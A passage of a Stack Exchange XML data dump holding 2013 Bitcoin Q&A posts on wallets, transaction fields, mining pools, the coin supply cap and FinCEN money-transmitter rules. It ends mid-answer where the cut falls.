  <row Id="11398" PostTypeId="2" ParentId="8015" CreationDate="2013-06-01T07:55:10.713" Score="2" Body="&lt;p&gt;I'm seeking for an authoritative answer for myself, but it seems the answer to the first question is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;On account creation (&lt;em&gt;and whenever you login&lt;/em&gt;) you can set the &quot;Fetch&#xA;  wallet from&quot; option to one of &quot;Payward&quot;, &quot;Payward and Local Browser&quot;&#xA;  or &quot;Local Browser&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/9003/5363&quot;&gt;source&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5363" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-06-01T07:55:10.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11399" PostTypeId="2" ParentId="11397" CreationDate="2013-06-01T08:04:59.163" Score="3" Body="&lt;p&gt;As a rule of thumb, don't give an attacker any more information than you have to. I would say that you should use your normal username; put the effort of remembering an odd username into remembering a better password.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How are the wallet name and passphrase even used in the system? Will someone give me his Wallet name, so I will be able to transfer money to him?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Nope. The username + password is used to look up a wallet file from something called a &lt;a href=&quot;https://github.com/rippleFoundation/Blob-Vault&quot; rel=&quot;nofollow&quot;&gt;'blob vault'&lt;/a&gt;. That blob vault contains your private key and your addressbook.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-06-01T08:04:59.163" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11400" PostTypeId="2" ParentId="11384" CreationDate="2013-06-01T08:33:38.440" Score="1" Body="&lt;p&gt;It can be done. There are windows equivalents for all of the programs you need to install.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Cron. Normally, I'd tell you to use the task scheduler, but it looks like the program you linked needs to run stuff every 5 - 8 minutes. &lt;a href=&quot;http://cronw.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;This tool&lt;/a&gt; seems to do  what you need. You'll need Perl too.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://windows.php.net/&quot; rel=&quot;nofollow&quot;&gt;PHP&lt;/a&gt;. Note that you need to use the command &lt;code&gt;C:\PHP5\php.exe -f&lt;/code&gt;  instead of &lt;code&gt;php&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;MySQL.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://httpd.apache.org/docs/2.4/platform/windows.html&quot; rel=&quot;nofollow&quot;&gt;Apache2&lt;/a&gt;. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-06-01T08:33:38.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11401" PostTypeId="2" ParentId="11394" CreationDate="2013-06-01T09:23:22.320" Score="0" Body="&lt;p&gt;It means literally that the decryption operation of the wallet failed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the password you enter is different in any way from the password you entered when you encrypted your wallet with &quot;File | Add Password&quot; you will get this error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would check things like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Are you definitely entering the same password you used to encrypt this wallet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;CAPS lock key&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you use an Input Method Editor, are you entering exactly the same characters.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is also another copy of your private keys on your disk if you need to use them:&#xA;When MultiBit encrypts the wallet it writes out the private keys to an export file, encrypted with the wallet password. As long as you have the correct password you can create a new wallet and import the private keys into the new wallet. You will then have access to your bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are more details about this in the help (&lt;a href=&quot;https://multibit.org/en/help/v0.5/help_contents.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/en/help/v0.5/help_contents.html&lt;/a&gt;) in the topics:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Help on specific tabs | Importing private keys&lt;/li&gt;&#xA;&lt;li&gt;More technical details | File descriptions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="888" LastEditorUserId="888" LastEditDate="2013-06-01T09:28:28.590" LastActivityDate="2013-06-01T09:28:28.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11403" PostTypeId="2" ParentId="2746" CreationDate="2013-06-01T11:34:36.993" Score="4" Body="&lt;p&gt;Visit en.bitcointalk.org - Their you will find awesome services!&lt;/p&gt;&#xA;" OwnerUserId="5367" LastEditorUserId="5367" LastEditDate="2013-10-30T16:47:13.060" LastActivityDate="2013-10-30T16:47:13.060" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11404" PostTypeId="2" ParentId="11391" CreationDate="2013-06-01T15:47:21.063" Score="1" Body="&lt;p&gt;Two options, depending on your skill level and comfortability with command-line:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Try updating your settings in &lt;code&gt;bitcoin.conf&lt;/code&gt; to allow a low (or none) transaction fee:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try running in &lt;code&gt;./bitcoind&lt;/code&gt; in command-line with the option &lt;code&gt;-paytxfee=&amp;lt;amt&amp;gt;&lt;/code&gt; with whatever amount you can pay to transfer these balances out. &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Linux_Quickstart&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Running_Bitcoin#Linux_Quickstart&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1420" LastActivityDate="2013-06-01T15:47:21.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11405" PostTypeId="1" AcceptedAnswerId="11412" CreationDate="2013-06-01T17:30:23.200" Score="4" ViewCount="10341" Body="&lt;p&gt;Me and my friends want to make public pool like rublik.com (site have english vesrion).&#xA;So, how can we make a similar pool? Maybe there are some open source solutions like p2pool? We want to make a similar pool, maybe someone knows what solutions rublik.com use? We just want to copy their pool.&lt;/p&gt;&#xA;" OwnerUserId="5369" LastEditorUserId="2306" LastEditDate="2013-06-01T18:01:32.343" LastActivityDate="2013-06-02T01:27:52.910" Title="How can I make my own pool?" Tags="|mining-pools|p2pool|pushpool|" AnswerCount="1" CommentCount="1" ClosedDate="2013-06-05T10:34:55.040" ContentLicense="CC BY-SA 3.0" />
  <row Id="11407" PostTypeId="2" ParentId="11369" CreationDate="2013-06-01T18:27:45.423" Score="2" Body="&lt;p&gt;You access the bitcoins in your account at an  exchange through their web interface only. They keep the private keys to those those bitcoin addresses hosted at their exchange. So, even though its your account, &lt;em&gt;they&lt;/em&gt; control the private keys. &#xA;If you want to move those funds outside the exchange, pay them to yourself on a wallet hosted on a device &lt;em&gt;you&lt;/em&gt; control. An exchange is unlikely to give you access to the private keys, because then the private key would be out of their control and they could not guarantee that the funds were safe nor be held responsible if they were spent.&lt;/p&gt;&#xA;" OwnerUserId="5371" LastActivityDate="2013-06-01T18:27:45.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11408" PostTypeId="2" ParentId="11374" CreationDate="2013-06-01T18:39:08.987" Score="1" Body="&lt;p&gt;There are other ways to use Dwolla funds to buy bitcoins.  &lt;a href=&quot;http://campbx.com&quot; rel=&quot;nofollow&quot;&gt;Camp BX&lt;/a&gt; is one exchange that accepts Dwolla funds for deposit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, you could do an over-the-counter (OTC) trade with someone.  There are individual traders who sell bitcoins and accept Dwolla transfers.    The &lt;a href=&quot;http://bitcoin-otc.com/&quot; rel=&quot;nofollow&quot;&gt;#bitcoin-otc&lt;/a&gt; marketplace lists some open offers, and there is a &lt;a href=&quot;http://bitcointalk.org/index.php?topic=78512.0&quot; rel=&quot;nofollow&quot;&gt;forum thread&lt;/a&gt; where those wishing to pay with Dwolla meet sellers.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-06-01T18:39:08.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11410" PostTypeId="2" ParentId="11327" CreationDate="2013-06-01T22:23:16.320" Score="0" Body="&lt;p&gt;I think I found the one with the longest firstbits&#xA;&lt;a href=&quot;http://blockchain.info/fb/1234567891234567891234567891w&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/fb/1234567891234567891234567891w&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-06-01T22:23:16.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11411" PostTypeId="1" CreationDate="2013-06-02T01:04:59.710" Score="31" ViewCount="13947" Body="&lt;p&gt;I'm working on trawling the bitcoin transactions coming in via getrawtransaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't been able to find the neccessary documentation to describe the vout integer in the vin array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;txid&quot;=&amp;gt;&quot;0fbf9a6f2172251611a58028bf596c3ace98b19f6f08d2b6581326c58aecda8e&quot;,&#xA;    &quot;vout&quot;=&amp;gt;0,     &amp;lt;----- THIS&#xA;    &quot;scriptSig&quot;=&amp;gt;&#xA;     {&quot;asm&quot;=&amp;gt;&#xA;       &quot;3045022100a9ba4f0b8ff86e91e622f43f9b76944643a807c0f6c8b43490087a169fe7542f0220258eaa36c96faaaeb41052e8d4aa41f74950df1b1c2835cb677f201c1ee0a33901 0393a2770ce81ddd9cd1e6ef71a282261ef8c03648373db209078f7850b9ab1ad1&quot;,&#xA;      &quot;hex&quot;=&amp;gt;&#xA;       &quot;483045022100a9ba4f0b8ff86e91e622f43f9b76944643a807c0f6c8b43490087a169fe7542f0220258eaa36c96faaaeb41052e8d4aa41f74950df1b1c2835cb677f201c1ee0a33901210393a2770ce81ddd9cd1e6ef71a282261ef8c03648373db209078f7850b9ab1ad1&quot;},&#xA;    &quot;sequence&quot;=&amp;gt;4294967295},&#xA;{&quot;txid&quot;=&amp;gt;&quot;4983504e9727a5ea73c4a0915da475faba248d0d8da265e2d270563dc3eabbaf&quot;,&#xA;    &quot;vout&quot;=&amp;gt;1,     &amp;lt;----- THIS&#xA;    &quot;scriptSig&quot;=&amp;gt;&#xA;     {&quot;asm&quot;=&amp;gt;&#xA;       &quot;3045022100ccc460cb0b8777d14f27acb821eacae0b5316de19db03ea707c59364f098d44f0220058a4f9df9a917944299b4c52efe500d50ab28c2fd29bb7b9ff8b75f38abcd4201 03244951ad9d146a635b321816d953e54986c62ce9c92502873335531dada0156c&quot;,&#xA;      &quot;hex&quot;=&amp;gt;&#xA;       &quot;483045022100ccc460cb0b8777d14f27acb821eacae0b5316de19db03ea707c59364f098d44f0220058a4f9df9a917944299b4c52efe500d50ab28c2fd29bb7b9ff8b75f38abcd42012103244951ad9d146a635b321816d953e54986c62ce9c92502873335531dada0156c&quot;},&#xA;    &quot;sequence&quot;=&amp;gt;4294967295}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the transactions I'm seeing, it tends to vout 0 1 0 1 0 1 in the array. What does this represent in a transaction? Do I need to interpret it in a specific way? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5378" LastActivityDate="2018-07-12T11:26:32.487" Title="In getrawtransaction, what is the vout integer in the vin list?" Tags="|transactions|bitcoind|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11412" PostTypeId="2" ParentId="11405" CreationDate="2013-06-02T01:27:52.910" Score="2" Body="&lt;p&gt;Running a public pool comes with the obligation to understand the underlying asset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rublik seems to have own proprietary software. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To run a public pool you at least need the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Knowledge of linux system administration/security.&lt;/li&gt;&#xA;&lt;li&gt;A dedicated server.&lt;/li&gt;&#xA;&lt;li&gt;A coder to write/edit a frontend, reward structure and payout process.&lt;/li&gt;&#xA;&lt;li&gt;Of course the pool software.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Expect if you run a puplic pool to deal with system exploitation and Ddos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is opensource pool software available. However, most are outdated, open exploits or other issues. Either code your own, improve existing software or do DD on maintained software (eloipool by luke-jr --&gt; IRC freenode &lt;code&gt;#eligius&lt;/code&gt; for example is maintained).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a hint:&#xA;&lt;a href=&quot;https://www.google.com/search?q=bitcoin+pool+software&amp;amp;ie=UTF-8&amp;amp;sa=Search&amp;amp;channel=fe&amp;amp;client=browser-ubuntu&amp;amp;hl=en&quot; rel=&quot;nofollow&quot;&gt;https://www.google.com/search?q=bitcoin+pool+software&amp;amp;ie=UTF-8&amp;amp;sa=Search&amp;amp;channel=fe&amp;amp;client=browser-ubuntu&amp;amp;hl=en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are opensource frontends too but those available last i checked are no out of the box solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if you get that far you will face the task to create a reward structure with automatic payout process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To underline that again: 90% of available opensource software needs workovers, some aren’t maintained for over a year, you hardly will find outofthebox solutions for free.&lt;/p&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2013-06-02T01:27:52.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11413" PostTypeId="2" ParentId="11411" CreationDate="2013-06-02T02:24:50.327" Score="6" Body="&lt;p&gt;A single Bitcoin transaction can have many outputs. The vout field lets you specify which output you want to spend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/0fbf9a6f2172251611a58028bf596c3ace98b19f6f08d2b6581326c58aecda8e&quot; rel=&quot;noreferrer&quot;&gt;Look at this transaction&lt;/a&gt;. Suppose you have the 1EZ5 key, but not the 199N key. You need to clarify to the Bitcoin network which output you want to spend.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2013-06-02T20:17:28.400" LastActivityDate="2013-06-02T20:17:28.400" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11414" PostTypeId="2" ParentId="9704" CreationDate="2013-06-02T05:44:28.823" Score="1" Body="&lt;p&gt;The amd 8 core processors are not in the least a beast cpu. They are terrible for things like this. It is a budget cpu as are most of AMDs processors if not all. If you want a cpu that can do some damage go for an intel i7 3770k or above, but if you cant afford then I guess your stuck with that somewhat poor cpu. i have no idea how many Mhashs/s i could do with my CPU because it is no longer supported apparently, but i can do upto 115 mhases/s and its generally 109-112 mh/s with my Gtx 680 GPU from Nvidia. Graphics cards are BEAST when it comes to parallel processing and repetative computations. Such as decrypting hashes (or password cracking) etc &lt;/p&gt;&#xA;" OwnerUserId="5380" LastActivityDate="2013-06-02T05:44:28.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11416" PostTypeId="2" ParentId="3148" CreationDate="2013-06-02T10:58:42.533" Score="2" Body="&lt;p&gt;It worked for me after typing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install libboost-all-dev libdb++-dev libminiupnpc-dev&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5383" LastEditorUserId="91017" LastEditDate="2019-01-09T08:16:30.317" LastActivityDate="2019-01-09T08:16:30.317" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="11417" PostTypeId="1" AcceptedAnswerId="11422" CreationDate="2013-06-02T13:57:30.997" Score="1" ViewCount="763" Body="&lt;p&gt;Bitcoin production will stop at &lt;strong&gt;21 million bitcoins&lt;/strong&gt;. Why 21 million and why was the limit put in place?&lt;/p&gt;&#xA;" OwnerUserId="5387" LastEditorUserId="5406" LastEditDate="2016-04-28T14:14:21.390" LastActivityDate="2016-04-28T14:14:21.390" Title="Why is there going to be only 21 million bitcoins in circulation?" Tags="|mining-reward|reward-schedule|" AnswerCount="1" CommentCount="0" ClosedDate="2013-06-04T05:55:56.443" ContentLicense="CC BY-SA 3.0" />
  <row Id="11418" PostTypeId="2" ParentId="104" CreationDate="2013-06-02T14:46:10.330" Score="2" Body="&lt;p&gt;By 2140, the &lt;strong&gt;final&lt;/strong&gt; bitcoins will be made. After 2140, no more bitcoins will be made, which means it's only trading and buying things wiith bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="5387" LastActivityDate="2013-06-02T14:46:10.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11422" PostTypeId="2" ParentId="11417" CreationDate="2013-06-02T16:57:59.287" Score="0" Body="&lt;p&gt;By limiting the amount of bit coin in the market one can hedge against inflation and avoid the firey demise coming to the rest of the world's fiat currencies. Though bit coin is not backed by any &quot;hard money&quot; it has a natural scarcity that will help keep its value consistent.&lt;/p&gt;&#xA;" OwnerUserId="5393" LastActivityDate="2013-06-02T16:57:59.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11424" PostTypeId="2" ParentId="11382" CreationDate="2013-06-02T18:22:21.393" Score="1" Body="&lt;p&gt;If you don't mind using someone else's server you can just use the response from a HTTP call to &lt;a href=&quot;http://blockexplorer.com/q/getblockcount&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/q/getblockcount&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-06-02T18:22:21.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11426" PostTypeId="1" AcceptedAnswerId="11436" CreationDate="2013-06-02T20:18:40.280" Score="5" ViewCount="687" Body="&lt;p&gt;ripple server code is still private and beta. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no legality preventing Open Coin to print more XRP now as it is a private company and the network is not at a stage where it is wide scale distributed like bitcoin for consensus process to have any meaning in this aspect.&lt;/p&gt;&#xA;" OwnerUserId="439" LastActivityDate="2013-06-05T22:23:21.803" Title="How can we be sure that Open Coin would not create more than 100 billion XRP?" Tags="|ripple|ripple-gateways|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11427" PostTypeId="2" ParentId="11339" CreationDate="2013-06-02T20:24:20.797" Score="2" Body="&lt;p&gt;A virtual currency exchange does count as a money transmitter, although there is some discretion for FinCEN here. The relevant passages are the following:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;An exchanger is a person engaged as a business in the exchange of virtual currency for real currency, funds, or other virtual currency.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;An administrator or exchanger that (1) accepts and transmits a convertible virtual currency or (2) buys or sells convertible virtual currency for any reason is a money transmitter under FinCEN's regulations, unless a limitation to or exemption from the definition applies to the person.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So the question is then, &amp;quot;is a broker of 'decentralized virtual currencies' who does not accept &amp;quot;real currency&amp;quot; eligible for an exemption?&amp;quot; Note that:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;FinCEN's regulations provide that whether a person is a money transmitter is a matter of facts and circumstances. The regulations identify six circumstances under which a person is not a money transmitter, despite accepting and transmitting currency, funds, or value that substitutes for currency.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The Code of Federal Regulations (31 CFR § 1010.100(ff)(5)(ii)(A)-(F)) has those six exceptions:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;(A)  Provides the delivery, communication, or network access services used by a money transmitter to support money transmission services;&lt;/p&gt;&#xA;&lt;p&gt;(B)  Acts as a payment processor to facilitate the purchase of, or payment of a bill for, a good or service through a clearance and settlement system by agreement with the creditor or seller;&lt;/p&gt;&#xA;&lt;p&gt;(C)  Operates a clearance and settlement system or otherwise acts as an intermediary solely between BSA regulated institutions ...&lt;/p&gt;&#xA;&lt;p&gt;(D)  Physically transports currency, other monetary instruments, other commercial paper, or other value that substitutes for currency as a person primarily engaged in such business, such as an armored car ...&lt;/p&gt;&#xA;&lt;p&gt;(E)  Provides prepaid access; or&lt;/p&gt;&#xA;&lt;p&gt;(F)  Accepts and transmits funds only integral to the sale of goods or the provision of services, other than money transmission services, by the person who is accepting and transmitting the funds.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;None of these examples apply, so the FinCEN appears to have discretion in this area. The closest parallel to a BTC/LTC/etc. broker is a foreign exchange dealer, but FinCEN does explicitly say virtual currency exchangers cannot be treated as foreign exchange brokers. So they could definitely make the case that it is therefore appropriate to treat you as a money transmitter.&lt;/p&gt;&#xA;" OwnerUserId="5309" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-06-02T20:24:20.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11428" PostTypeId="1" CreationDate="2013-06-02T21:13:11.160" Score="5" ViewCount="1120" Body="&lt;p&gt;I am running Bitcoin-Qt for Mac 0.8.1 beta &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I received a &quot;wallet.dat corrupt salvage failed&quot; error and the client refused to launch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I replaced the wallet.dat with a backup made a few hours earlier and on launching the client, I found that almost &lt;strong&gt;all my Bitcoins had been transferred to an alien address&lt;/strong&gt; which I did not recognise, and had certainly not initiated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One possible explanation is that these Bitcoins have been transferred to a Change address. But how can I access this?&lt;/p&gt;&#xA;" OwnerUserId="5397" LastEditorUserId="2306" LastEditDate="2013-06-02T23:40:17.603" LastActivityDate="2013-10-25T07:25:51.950" Title="How do I recover Bitcoins from a Change address that is in a corrupted wallet?" Tags="|security|bitcoin-core|theft|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11429" PostTypeId="1" CreationDate="2013-06-02T21:43:04.703" Score="2" ViewCount="165" Body="&lt;p&gt;Let's say there's some sort of end of the world situation. Everyone's computers still work, but the Internet does not. Would Bitcoin still &quot;work&quot;? Could two people transfer Bitcoins to each other directly?&lt;/p&gt;&#xA;" OwnerUserId="5399" LastActivityDate="2013-06-03T10:03:50.657" Title="What is the minimum infrastructure necessary for Bitcoin to work?" Tags="|wallet|" AnswerCount="1" CommentCount="2" ClosedDate="2013-06-09T18:39:47.917" ContentLicense="CC BY-SA 3.0" />
  <row Id="11430" PostTypeId="2" ParentId="8759" CreationDate="2013-06-03T02:25:07.500" Score="1" Body="&lt;p&gt;Implicit in &quot;stabilizing&quot; the price is the assumption that you know what the price &quot;should be&quot;. Maybe the people who own the lion's share of bitcoins don't believe that they know what the price &quot;should be&quot;. If they believe that they don't know, then it stands to reason that they would not attempt to &quot;stabilize&quot; the currency, since doing so while being wrong about what the price &quot;should be&quot; will lead to a loss. Why not rather just do nothing if making either a profit or loss would be, a priori, equally likely?&lt;/p&gt;&#xA;" OwnerUserId="5401" LastActivityDate="2013-06-03T02:25:07.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11433" PostTypeId="1" AcceptedAnswerId="11479" CreationDate="2013-06-03T05:47:44.163" Score="6" ViewCount="19657" Body="&lt;p&gt;I recently downloaded an Electrum wallet (version 1.7.3) and made two Bitcoin purchases. The wallet shows the public receiving addresses (including those receiving addresses which I used to receive the coins) and the amount of coins received in these transactions. My problem is that I can't see the private addresses anywhere and don't feel confident that the coins are still in my possession (of if they ever were).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am guessing that when (in the Classic Gui) I click on the 'Send' tab, enter the address for the intended recipient in the 'Pay to' slot, the 'Amount', 'Description' of the transaction for my own benefit, the 'Fee', and subsequently click on 'Send', the client might then perhaps disclose a private address along with an address for any change to go to. Is this correct? If not, can someone be good enough tell me how it does work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel uneasy that I cannot see the private addresses anywhere. And, of course, I can't spend the coins until I have the private addresses. (I would like to commit my private keys to paper.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the 'Settings', there is a tab labeled 'Import/Export' and one of the options there is to 'Export' / 'Import' Private Keys. Does this mean to 'Export' the private addresses from the wallet to somewhere else (another file which one might create, perhaps), or to 'Export' them from somewhere else into the wallet? Does 'Import' the Private Keys mean to bring them into display somewhere in the wallet? I just don't understand and am afraid to try out either of these commands just in case I somehow lose my Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, I'm not exactly tech savvy and would really be grateful for help here from any Electrum wallet users on this forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Terrylei &lt;/p&gt;&#xA;" OwnerUserId="5403" LastActivityDate="2017-04-25T22:08:18.350" Title="No sign of my private keys in Electrum wallet ... where do I find them?" Tags="|wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11434" PostTypeId="1" CreationDate="2013-06-03T06:03:16.620" Score="2" ViewCount="925" Body="&lt;p&gt;I have just installed the &lt;a href=&quot;https://play.google.com/store/apps/details?id=de.schildbach.wallet&amp;amp;feature=search_result#?t=W251bGwsMSwxLDEsImRlLnNjaGlsZGJhY2gud2FsbGV0Il0&quot; rel=&quot;nofollow&quot;&gt;bitcoin wallet for android&lt;/a&gt; on my device and created two addresses.&#xA;I transferred some BTC to one address and some to the second one.  I thought the wallet will show the individual balance associated with each of those addresses, but I was wrong.  Bitcoin wallet is now showing me one single balance for the BTC associated with these two addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, I assume that since I cannot send BTC out of each address for more than what it owns in the address (for example, address A - 0.5 BTC, address B - 1.5 BTC), I cannot send 1 BTC out of address A.  But now since bitcoin wallet is mixing the two together I am unable to find out how much BTC each of them own...&lt;br&gt;&#xA;Or there is some other way that I am not aware of?&lt;/p&gt;&#xA;" OwnerUserId="5405" LastEditorUserId="5406" LastEditDate="2016-01-05T13:54:37.680" LastActivityDate="2016-01-05T13:54:37.680" Title="How do I figure out the balance of an individual address on Bitcoin for Android?" Tags="|balance|bitcoin-wallet-app|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11435" PostTypeId="2" ParentId="9992" CreationDate="2013-06-03T06:15:13.913" Score="0" Body="&lt;p&gt;Without the internet there is no &quot;global&quot; bitcoin network. How would you know if a transaction is valid?? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing that could work, totally seperate from bitcoin is local network alto currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IF internet is down for a limited time, developers could deal with some local network alto currency in exchange for bitcoin, the risk of course would be on the bitcoin accepting entity.&lt;/p&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2013-06-03T06:15:13.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11436" PostTypeId="2" ParentId="11426" CreationDate="2013-06-03T09:44:23.443" Score="9" Body="&lt;p&gt;Doing so would subject OpenCoin to lawsuits due to &lt;a href=&quot;http://en.wikipedia.org/wiki/Estoppel#Promissory_estoppel&quot;&gt;promissory estoppel&lt;/a&gt;. OpenCoin's statement that they will not do so is effectively a warranty. And, of course, it would be a completely self-destructive thing for them to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I am an employee of OpenCoin, speaking only for myself.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-06-03T09:51:34.373" LastActivityDate="2013-06-03T09:51:34.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11437" PostTypeId="2" ParentId="11429" CreationDate="2013-06-03T10:03:50.657" Score="2" Body="&lt;p&gt;In case for some reason the Internet stops working, Bitcoin could be incorporated into any transmission medium with enough throughput to at the very least support block propagation. This would require ideally 1MB of data to be propagated through the globe in under 10 minutes. The bare minimum might make it very hard for Bitcoin to work effectively, but media such as radio, telephone or the like could probably handle the Bitcoin load without much problem. Synchronising new people to the Network might be very resource consuming, but still doable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case the traditional means of sending information through the globe would become impossible, the Bitcoin Network would become too fragmented to be reliable. While one would still have access to one's Bitcoins locally, one could never be sure if they are dealing with the longest blockchain, thus double-spends could be a serious threat for any transaction, no matter the (local) confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In such scenario only dealing with Bitcoins that are already stored offline if form of physical temper-proof currency could be useful - &lt;a href=&quot;https://www.casascius.com/&quot; rel=&quot;nofollow&quot;&gt;Casascius coins&lt;/a&gt; for example. One could expect, however, that the coins would depreciate in value along with the 